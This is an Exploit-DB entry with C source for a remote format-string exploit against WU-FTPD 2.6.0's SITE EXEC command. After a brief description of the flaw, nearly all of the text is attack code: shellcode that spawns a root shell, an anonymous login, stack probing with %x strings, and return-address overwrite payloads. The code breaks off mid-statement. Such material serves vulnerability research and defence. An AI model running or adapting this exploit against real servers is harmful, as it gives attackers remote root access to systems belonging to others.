Exploit-DB #20031
Description: WU-FTPD 2.4.2/2.5 .0/2.6.0 - Remote Format String Stack Overwrite (2)
Type: remote
Platform: linux
Date: 2000-09-26
Author: vsz_

Exploit:
// source: https://www.securityfocus.com/bid/1387/info
 
Washington University ftp daemon (wu-ftpd) is a very popular unix ftp server shipped with many distributions of Linux and other UNIX operating systems. Wu-ftpd is vulnerable to a very serious remote attack in the SITE EXEC implementation. Because of user input going directly into a format string for a *printf function, it is possible to overwrite important data, such as a return address, on the stack. When this is accomplished, the function can jump into shellcode pointed to by the overwritten eip and execute arbitrary commands as root. While exploited in a manner similar to a buffer overflow, it is actually an input validation problem. Anonymous ftp is exploitable making it even more serious as attacks can come anonymously from anywhere on the internet.
 
It should be noted that the SITE INDEX command is affected as well. 

 * Linux wu-ftpd - 2.6.0(1) (tested on RH6.2 wu from rpm)
 *
 * vsz_
 */

#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <netinet/in.h>
#include <netdb.h>

char linuxcode[] =
  "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
  "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
  "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27"
  "\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31"
  "\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d"
  "\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46"
  "\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8"
  "\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
  "\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff"
  "\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31";


main (int argc, char *argv[])
{

  char cmdbuf[8192];
  char cbuf[1024];
  char *t;
  char nop[400];
  int pip, i, a = 22, st = 0;
  struct sockaddr_in sck;
  struct hostent *hp;
  long inet;
  int port = 21;
  fd_set fds;
  unsigned int aa;
  long reta, retb, tmp, retz;
  int ret;
  int add = 0;

  memset (cmdbuf, 0x0, sizeof (cmdbuf));
  memset (cbuf, 0x0, sizeof (cbuf));
  memset (nop, 0x0, sizeof (nop));

  if (argc < 2)
    {
      fprintf (stderr, "Usage: %s [ip] \n", argv[0]);
      exit (-1);
    }

  pip = socket (PF_INET, SOCK_STREAM, 0);

  if (!pip)
    {
      perror ("socket()");
      exit (-1);
    }

  inet = inet_addr (argv[1]);
  if (inet == -1)
    {
      if (hp = gethostbyname (argv[1]))
	memcpy (&inet, hp->h_addr, 4);
      else
	inet = -1;
      if (inet == -1)
	{
	  fprintf (stderr, "Cant resolv %s!! \n", argv[1]);
	  exit (-1);
	}
    }
  sck.sin_family = PF_INET;
  sck.sin_port = htons (port);
  sck.sin_addr.s_addr = inet;

  if (connect (pip, (struct sockaddr *) &sck, sizeof (sck)) < 0)
    {
      perror ("Connect() ");
      exit (-1);
    }

  read (pip, cbuf, 1023);
  fprintf (stderr, "Connected to: %s \n", argv[1]);
  fprintf (stderr, "Banner: %s \n", cbuf);
  strcpy (cmdbuf, "user ftp\n");
  write (pip, cmdbuf, strlen (cmdbuf));
  memset (nop, 0x90, sizeof (nop) - strlen (linuxcode) - 10);

  strcat (nop, linuxcode);

  memset (cmdbuf, 0x0, sizeof (cmdbuf));
  sprintf (cmdbuf, "pass %s\n", nop);
  write (pip, cmdbuf, strlen (cmdbuf));
  sleep (1);
  read (pip, cmdbuf, sizeof (cmdbuf) - 1);
  memset (cmdbuf, 0x0, sizeof (cmdbuf));
  if (!strncmp (cmdbuf, "530", 3))
    {
      printf ("loggin incorrect : %s \n", cmdbuf);
      exit (-1);
    }
  fprintf (stderr, "Logged in.. \n");
  fprintf (stderr, "+ Finding ret addresses \n");
  memset (cmdbuf, 0x0, sizeof (cmdbuf));
  strcpy (cmdbuf, "SITE EXEC %x %x %x %x +%x |%x\n");
  write (pip, cmdbuf, strlen (cmdbuf));
  sleep (1);
  memset (cmdbuf, 0x0, sizeof (cmdbuf));
  read (pip, cmdbuf, sizeof (cmdbuf) - 1);
  if (!strncmp (cmdbuf + 4, "%x", 2))
    {
      fprintf (stderr, "[1m[31mWuftpd is not vulnerable : %s \n[0m",
	       cmdbuf);
      exit (-1);
    }
  else
    {
      fprintf (stderr, "[1m[32mWuftpd is vulnerable : %s \n[0m", cmdbuf);
    }
  reta = strtoul (strstr (cmdbuf, "|") + 1, strstr (cmdbuf, "|") + 11, 16);
  retz = strtoul (strstr (cmdbuf, "+") + 1, strstr (cmdbuf, "|") + 11, 16);

  memset (cmdbuf, 0x0, sizeof (cmdbuf));
  strcpy (cmdbuf, "SITE EXEC ");
  for (ret = 0; ret <= 88; ret++)
    {
      strcat (cmdbuf, "%x");
    }
  strcat (cmdbuf, "|%x\n");
  write (pip, cmdbuf, strlen (cmdbuf));
  sleep (1);
  memset (cmdbuf, 0x0, sizeof (cmdbuf));
  read (pip, cmdbuf, sizeof (cmdbuf) - 1);
  retb = strtoul (strstr (cmdbuf, "|") + 1, strstr (cmdbuf, "|") + 11, 16);
  printf ("Ret location befor: %x \n", reta);
  if (reta == 0)
    reta = retz;
  else
    add = 600;
  reta = reta - 0x58;
  retb = retb + 100 - 0x2569 - add;
  printf ("Ret      location : %x \n", reta);
  printf ("Proctitle addres  : %x and %u \n", retb, retb);
  sleep (2);
  memset (cmdbuf, 0x0, sizeof (cmdbuf));

  sprintf (cmdbuf, "SITE EXEC aaaaaaaaaaaaaaaaaaaaaaaaaabbbb%c%c\xff%c%c",
	   (reta & 0x000000ff), (reta & 0x0000ff00) >> 8,
	   (reta & 0x00ff0000) >> 16, (reta & 0xff000000) >> 24);
  a = 22;
  memset (cbuf, 0x0, sizeof (cbuf));
  while (1)
    {

      memset (cmdbuf, 0x0, sizeof (cmdbuf));

      sprintf (cmdbuf, "SITE EXEC aaaaaaaaaaaaaaaaaaaaaaaaaabbbb%c%c\xff%c%c",
	       (reta & 0x000000ff), (reta & 0x0000ff00) >> 8,
	       (reta & 0x00ff0000) >> 16, (reta & 0xff000000) >> 24);
      for (i = 0; i <= 128; i++)
	strcat (cmdbuf, "%.f");
      for (i = 0; i <= a; i++)
	strcat (cmdbuf, "%d");
      sprintf (cbuf, "|%%x|%%x\n", aa + 9807 - 460);
      strcat (cmdbuf, cbuf);
      write (pip, cmdbuf, strlen (cmdbuf));
      memset (cmdbuf, 0x0, sizeof (cmdbuf));
      read (pip, cmdbuf, sizeof (cmdbuf) - 1);
      t = (char *) strstr (cmdbuf, "|");
      tmp = strtoul (t + 1, t + 11, 16);
      if (t